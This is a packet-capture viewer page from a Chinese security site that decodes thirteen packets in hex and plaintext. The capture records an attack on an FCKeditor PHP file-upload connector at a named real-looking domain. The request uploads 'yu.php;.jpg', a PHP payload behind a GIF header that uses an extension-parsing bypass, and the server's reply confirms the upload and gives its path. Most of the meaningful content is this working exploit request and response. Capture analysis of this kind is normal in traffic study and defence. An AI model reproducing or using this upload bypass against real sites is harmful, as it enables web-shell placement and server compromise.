机窝安全——包浏览

首页 > 抓包

Subject	Content
/pkt/up/20170705/20170705161938_40997.pcap Size is:	2227
FileHeader is:	d4c3b2a1020004000000000000000000 ffff000001000000

Pack 1
PackHeader is:	dfea9d556bf809004200000042000000
DateTime:	2015-07-09 11:30:39.653419
Pack Caplen is:	66
Src MAC is:	2c44fd24f36b
Dst MAC is:	38834561efa6
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.3
DecIP Addr is:	213.239.195.211
Data Proctol is:	06(TCP)
Src Port is:	62842
Dec Port is:	80
SEQ -> NSEQ is:	3536488796->0
Data Len is:	12
Hex Data is:	020405b40103030801010402
Binary Data is:	�
Pack 2
PackHeader is:	e0ea9d55827c00004200000042000000
DateTime:	2015-07-09 11:30:40.31874
Pack Caplen is:	66
Src MAC is:	38834561efa6
Dst MAC is:	2c44fd24f36b
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	213.239.195.211
DecIP Addr is:	192.168.0.3
Data Proctol is:	06(TCP)
Src Port is:	80
Dec Port is:	62842
SEQ -> NSEQ is:	2914408330->3536488797
Data Len is:	12
Hex Data is:	020405b40101040201030307
Binary Data is:	�
Pack 3
PackHeader is:	e0ea9d55d97c00003600000036000000
DateTime:	2015-07-09 11:30:40.31961
Pack Caplen is:	54
Src MAC is:	2c44fd24f36b
Dst MAC is:	38834561efa6
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.3
DecIP Addr is:	213.239.195.211
Data Proctol is:	06(TCP)
Src Port is:	62842
Dec Port is:	80
SEQ -> NSEQ is:	3536488797->2914408331
Data Len is:	0
Hex Data is:
Binary Data is:
Pack 4
PackHeader is:	e0ea9d55fc7e00000a0300000a030000
DateTime:	2015-07-09 11:30:40.32508
Pack Caplen is:	778
Src MAC is:	2c44fd24f36b
Dst MAC is:	38834561efa6
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.3
DecIP Addr is:	213.239.195.211
Data Proctol is:	06(TCP)
Src Port is:	62842
Dec Port is:	80
SEQ -> NSEQ is:	3536488797->2914408331
Data Len is:	724
Hex Data is:	504f5354202f736974652f696e636c75 64652f66636b656469746f722f656469 746f722f66696c656d616e616765722f 636f6e6e6563746f72732f7068702f63 6f6e6e6563746f722e7068703f436f6d 6d616e643d46696c6555706c6f616426 547970653d496d616765264375727265 6e74466f6c6465723d25324620485454 502f312e310d0a486f73743a20617472 6162612d686f6c64696e672e636f6d0d 0a436f6e6e656374696f6e3a206b6565 702d616c6976650d0a436f6e74656e74 2d4c656e6774683a203231340d0a4361 6368652d436f6e74726f6c3a206d6178 2d6167653d300d0a4163636570743a20 746578742f68746d6c2c6170706c6963 6174696f6e2f7868746d6c2b786d6c2c 6170706c69636174696f6e2f786d6c3b 713d302e392c696d6167652f77656270 2c2a2f2a3b713d302e380d0a4f726967 696e3a20687474703a2f2f6174726162 612d686f6c64696e672e636f6d0d0a55 7365722d4167656e743a204d6f7a696c 6c612f352e30202857696e646f777320 4e5420362e333b20574f573634292041 70706c655765624b69742f3533372e33 3620284b48544d4c2c206c696b652047 65636b6f29204368726f6d652f34332e 302e323335372e313332205361666172 692f3533372e33360d0a436f6e74656e 742d547970653a206d756c7469706172 742f666f726d2d646174613b20626f75 6e646172793d2d2d2d2d5765624b6974 466f726d426f756e64617279724b564d 5178444e35736c4a704c4a4e0d0a5265 66657265723a20687474703a2f2f6174 726162612d686f6c64696e672e636f6d 2f736974652f696e636c7564652f6663 6b656469746f722f656469746f722f66 696c656d616e616765722f636f6e6e65 63746f72732f746573742e68746d6c0d 0a4163636570742d456e636f64696e67 3a20677a69702c206465666c6174650d 0a4163636570742d4c616e6775616765 3a207a682d434e2c7a683b713d302e38 0d0a0d0a
Binary Data is:	POST /site/include/fckeditor/editor/filemanager/connectors/php/connector.php?Command=FileUpload&Type=Image&CurrentFolder=%2F HTTP/1.1 Host: atraba-holding.com Connection: keep-alive Content-Length: 214 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Origin: http://atraba-holding.com User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrKVMQxDN5slJpLJN Referer: http://atraba-holding.com/site/include/fckeditor/editor/filemanager/connectors/test.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8
Pack 5
PackHeader is:	e0ea9d558c7f00000c0100000c010000
DateTime:	2015-07-09 11:30:40.32652
Pack Caplen is:	268
Src MAC is:	2c44fd24f36b
Dst MAC is:	38834561efa6
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.3
DecIP Addr is:	213.239.195.211
Data Proctol is:	06(TCP)
Src Port is:	62842
Dec Port is:	80
SEQ -> NSEQ is:	3536489521->2914408331
Data Len is:	214
Hex Data is:	2d2d2d2d2d2d5765624b6974466f726d 426f756e64617279724b564d5178444e 35736c4a704c4a4e0d0a436f6e74656e 742d446973706f736974696f6e3a2066 6f726d2d646174613b206e616d653d22 4e657746696c65223b2066696c656e61 6d653d2279752e7068703b2e6a706722 0d0a436f6e74656e742d547970653a20 696d6167652f6a7065670d0a0d0a4749 4631313c3f7068700d0a706870696e66 6f28293b0d0a3f3e0d0a2d2d2d2d2d2d 5765624b6974466f726d426f756e6461 7279724b564d5178444e35736c4a704c 4a4e2d2d0d0a
Binary Data is:	------WebKitFormBoundaryrKVMQxDN5slJpLJN Content-Disposition: form-data; name="NewFile"; filename="yu.php;.jpg" Content-Type: image/jpeg GIF11<?php phpinfo(); ?> ------WebKitFormBoundaryrKVMQxDN5slJpLJN--
Pack 6
PackHeader is:	e0ea9d55cf3506003c0000003c000000
DateTime:	2015-07-09 11:30:40.406991
Pack Caplen is:	60
Src MAC is:	38834561efa6
Dst MAC is:	2c44fd24f36b
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	213.239.195.211
DecIP Addr is:	192.168.0.3
Data Proctol is:	06(TCP)
Src Port is:	80
Dec Port is:	62842
SEQ -> NSEQ is:	2914408331->3536489521
Data Len is:	6
Hex Data is:	000000000000
Binary Data is:	��
Pack 7
PackHeader is:	e0ea9d55c13806003c0000003c000000
DateTime:	2015-07-09 11:30:40.407745
Pack Caplen is:	60
Src MAC is:	38834561efa6
Dst MAC is:	2c44fd24f36b
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	213.239.195.211
DecIP Addr is:	192.168.0.3
Data Proctol is:	06(TCP)
Src Port is:	80
Dec Port is:	62842
SEQ -> NSEQ is:	2914408331->3536489735
Data Len is:	6
Hex Data is:	000000000000
Binary Data is:	��
Pack 8
PackHeader is:	e0ea9d5554b206006301000063010000
DateTime:	2015-07-09 11:30:40.438868
Pack Caplen is:	355
Src MAC is:	38834561efa6
Dst MAC is:	2c44fd24f36b
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	213.239.195.211
DecIP Addr is:	192.168.0.3
Data Proctol is:	06(TCP)
Src Port is:	80
Dec Port is:	62842
SEQ -> NSEQ is:	2914408331->3536489735
Data Len is:	301
Hex Data is:	485454502f312e3120323030204f4b0d 0a446174653a205468752c203039204a 756c20323031352030333a33303a3433 20474d540d0a5365727665723a204170 616368650d0a582d506f77657265642d 42793a205048502f352e342e34300d0a 436f6e6e656374696f6e3a20636c6f73 650d0a5472616e736665722d456e636f 64696e673a206368756e6b65640d0a43 6f6e74656e742d547970653a20746578 742f68746d6c0d0a0d0a37640d0a3c73 637269707420747970653d2274657874 2f6a617661736372697074223e77696e 646f772e706172656e742e4f6e55706c 6f6164436f6d706c6574656428302c22 2f7573657266696c65732f696d616765 2f79755f7068703b2e6a7067222c2279 755f7068703b2e6a7067222c20222229 203b3c2f7363726970743e0d0a
Binary Data is:	HTTP/1.1 200 OK Date: Thu, 09 Jul 2015 03:30:43 GMT Server: Apache X-Powered-By: PHP/5.4.40 Connection: close Transfer-Encoding: chunked Content-Type: text/html 7d <script type="text/javascript">window.parent.OnUploadCompleted(0,"/userfiles/image/yu_php;.jpg","yu_php;.jpg", "") ;</script>
Pack 9
PackHeader is:	e0ea9d5510ba06003c0000003c000000
DateTime:	2015-07-09 11:30:40.440848
Pack Caplen is:	60
Src MAC is:	38834561efa6
Dst MAC is:	2c44fd24f36b
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	213.239.195.211
DecIP Addr is:	192.168.0.3
Data Proctol is:	06(TCP)
Src Port is:	80
Dec Port is:	62842
SEQ -> NSEQ is:	2914408632->3536489735
Data Len is:	6
Hex Data is:	300d0a0d0a00
Binary Data is:	0 �
Pack 10
PackHeader is:	e0ea9d5511ba06003c0000003c000000
DateTime:	2015-07-09 11:30:40.440849
Pack Caplen is:	60
Src MAC is:	38834561efa6
Dst MAC is:	2c44fd24f36b
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	213.239.195.211
DecIP Addr is:	192.168.0.3
Data Proctol is:	06(TCP)
Src Port is:	80
Dec Port is:	62842
SEQ -> NSEQ is:	2914408637->3536489735
Data Len is:	6
Hex Data is:	000000000000
Binary Data is:	��
Pack 11
PackHeader is:	e0ea9d555dba06003600000036000000
DateTime:	2015-07-09 11:30:40.440925
Pack Caplen is:	54
Src MAC is:	2c44fd24f36b
Dst MAC is:	38834561efa6
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.3
DecIP Addr is:	213.239.195.211
Data Proctol is:	06(TCP)
Src Port is:	62842
Dec Port is:	80
SEQ -> NSEQ is:	3536489735->2914408638
Data Len is:	0
Hex Data is:
Binary Data is:
Pack 12
PackHeader is:	e0ea9d55a7ba06003600000036000000
DateTime:	2015-07-09 11:30:40.440999
Pack Caplen is:	54
Src MAC is:	2c44fd24f36b
Dst MAC is:	38834561efa6
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.3
DecIP Addr is:	213.239.195.211
Data Proctol is:	06(TCP)
Src Port is:	62842
Dec Port is:	80
SEQ -> NSEQ is:	3536489735->2914408638
Data Len is:	0
Hex Data is:
Binary Data is:
Pack 13
PackHeader is:	e0ea9d556b810c003c0000003c000000
DateTime:	2015-07-09 11:30:40.819563
Pack Caplen is:	60
Src MAC is:	38834561efa6
Dst MAC is:	2c44fd24f36b
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	213.239.195.211
DecIP Addr is:	192.168.0.3
Data Proctol is:	06(TCP)
Src Port is:	80
Dec Port is:	62842
SEQ -> NSEQ is:	2914408638->3536489736
Data Len is:	6
Hex Data is:	000000000000
Binary Data is:	��